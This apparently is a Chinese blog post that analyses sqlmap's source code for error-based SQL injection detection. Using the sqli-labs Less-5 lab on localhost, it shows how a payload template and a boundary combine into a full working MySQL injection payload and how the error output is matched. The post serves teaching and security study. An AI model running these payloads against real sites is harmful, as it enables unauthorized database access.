Python：SQLMap源码精读—基于错误的盲注（error-based blind）

目标网址

http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1

Payload的生成

 1 <test>
 2     <title>MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause</title>
 3     <stype>2</stype>
 4     <level>1</level>
 5     <risk>0</risk>
 6     <clause>1</clause>
 7     <where>1</where>
 8     <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
 9     <request>
10         <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
11     </request>
12     <response>
13         <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
14     </response>
15     <details>
16         <dbms>MySQL</dbms>
17         <dbms_version>&gt;= 5.0</dbms_version>
18     </details>
19 </test>

该test xml元素是从文件payloads.xml提取出来的。

sqlmap会实现读取payloads.xml文件中的test元素，然后循环遍历，并生成相应的payload进行测试。

以上面的test为例，当遍历到该test的时候，在其子循环当中，还需要依次遍历boundary元素（都在payloads.xml文件中），并找到一个匹配的boundary。

何为匹配？

注意上面的test元素的子节点：where=1 和 clause=1

当且仅当某个boundary元素的where节点的值包含test元素的子节点，clause节点的值包含test元素的子节点的时候，该boundary才能和当前的test匹配，从而进一步生成payload。

例如：

1 <boundary>
2     <level>1</level>
3     <clause>1</clause>
4     <where>1,2</where>
5     <ptype>2</ptype>
6     <prefix>'</prefix>
7     <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>
8 </boundary>

该boundary元素中的where节点的值为1,2，含有test元素的where节点的值（1）

并且，boundary元素中的clause节点的值为1，含有test元素的where节点的值（1）

因此，该boundary和test元素可以匹配。

test元素的payload的值为：

AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

最终的payload是根据test的payload子节点和boundary的prefix（前缀）、suffix（后缀）子节点的值组合而成的，即：

最终的payload = url参数 + boundary.prefix+test.payload+boundary.suffix

将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉之后

则生成的payload类似如下：

Payload: id=1' AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM

其中：

URL参数：id=1
prefix：'
payload：AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
suffix：AND 'pujM'='pujM

最终生成的mysql语句为：

SELECT
    *
FROM
    users
WHERE
    id = '1'
AND (
    SELECT
        1497
    FROM
        (
            SELECT
                COUNT(*),
                CONCAT(
                    CHAR (58, 101, 121, 111, 58),
                    (
                        SELECT
                            (
                                CASE
                                WHEN (1497 = 1497) THEN
                                    1
                                ELSE
                                    0
                                END
                            )
                    ),
                    CHAR (58, 97, 98, 104, 58),
                    FLOOR(RAND(0) * 2)
                ) x
            FROM
                information_schema. TABLES
            GROUP BY
                x
        ) a
)
AND 'pujM' = 'pujM'

如果，url：http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入的话，那么执行的时候就会报如下错误：

Duplicate entry ':eyo:1:abh:1' for key 'group_key'

源码解释

 1 # In case of error-based SQL injection
 2 elif method == PAYLOAD.METHOD.GREP:
 3     # Perform the test's request and grep the response
 4     # body for the test's <grep> regular expression
 5     try:
 6         page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
 7         output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) 
 8                 or extractRegexResult(check, listToStrValue(headers.headers 
 9                 if headers else None), re.DOTALL | re.IGNORECASE) 
10                 or extractRegexResult(check, threadData.lastRedirectMsg[1] 
11                 if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == 
12                 threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
13 
14         if output:
15             result = output == "1"
16             if result:
17                 infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
18                 logger.info(infoMsg)
19 
20                 injectable = True
21 
22     except sqlmapConnectionException, msg:
23         debugMsg  = "problem occured most likely because the "
24         debugMsg += "server hasn't recovered as expected from the "
25         debugMsg += "error-based payload used ('%s')" % msg
26         logger.debug(debugMsg)

将最终的payload传递给Request.queryPage函数执行并返回最终的执行结果page

test元素的grep子节点的值是一个正则表达式：<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>

由前面的数据，我们知道

[DELIMITER_START]=:eyo:

[DELIMITER_STOP] =:abh:

则最终生成的正则表达式为：:eyo:(?P<result>.*?):abh:(每次生成都是不一样的，因为:eyo:和:abh:都是随机生成的)

将page和正则表达式传递给函数extractRegexResult

 1 def extractRegexResult(regex, content, flags=0):
 2     """
 3     Returns 'result' group value from a possible match with regex on a given 
 4     content
 5     """
 6 
 7     retVal = None
 8 
 9     if regex and content and '?P<result>' in regex:
10         match = getCompiledRegex(regex, flags).search(content)
11 
12         if match:
13             retVal = match.group("result")
14 
15     return retVal

函数功能较简单，主要使用正则表达式判断是否包含指定的数据，如果有，则返回匹配的数据，没有，则返回None。

由前面的内容，可知，如果url可以注入的话，返回值retVal应该等于"1"

if output:
    result = output == "1"
    if result:
        infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
        logger.info(infoMsg)

        injectable = True

而使用正则：:eyo:(?P<result>.*?):abh:来匹配Duplicate entry ':eyo:1:abh:1' for key 'group_key'的结果为：1

故，url：http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入

建议阅读

关于Mysql注入过程中的五种报错方式及具体利用案例

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作　　　　者：曾是土木人

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